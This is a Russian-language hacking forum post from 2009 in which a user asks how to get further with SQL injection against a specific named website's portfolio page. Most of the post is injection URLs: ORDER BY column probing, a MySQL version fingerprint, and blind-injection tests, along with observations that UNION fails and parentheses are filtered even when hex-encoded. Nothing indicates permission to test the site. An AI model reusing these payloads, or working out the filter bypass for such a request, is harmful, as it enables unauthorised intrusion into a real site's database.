Показать сообщение отдельно

  #4  
Старый 27.04.2009, 16:20
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

Подскажите здесь можно что то зделать, вот sql:
Цитата:
http://www.podklyuch.ru/index.php?go=Portfolio&in=page&id=24'+order+by+9--+
union не выходит провести(возможно еще как то изменяеться запрос и т.п. а возможно и бд не держит), а при blind как я понял фильтруються СКОБКИ.

БД по всей видимости MySQL:
Цитата:
http://www.podklyuch.ru/index.php?go=Portfolio&in=page&id=24'+and+@@global .sort_buffer_size+--+
но вот скобки скрипт по всей видимости не переваривает(именно одновременно 2-е скобки - открываюшиеся и закрываюшиеся):
Цитата:
http://www.podklyuch.ru/index.php?go=Portfolio&in=page&id=24'+and+1=1--+

http://www.podklyuch.ru/index.php?go=Portfolio&in=page&id=24'+and+(1)=1--+
и в hex тоже
Цитата:
http://www.podklyuch.ru/index.php?go=Portfolio&in=page&id=24'+and+%281%29= 1--+

Последний раз редактировалось PaCo; 27.04.2009 в 16:56.. Причина: Грамотей
 
Ответить с цитированием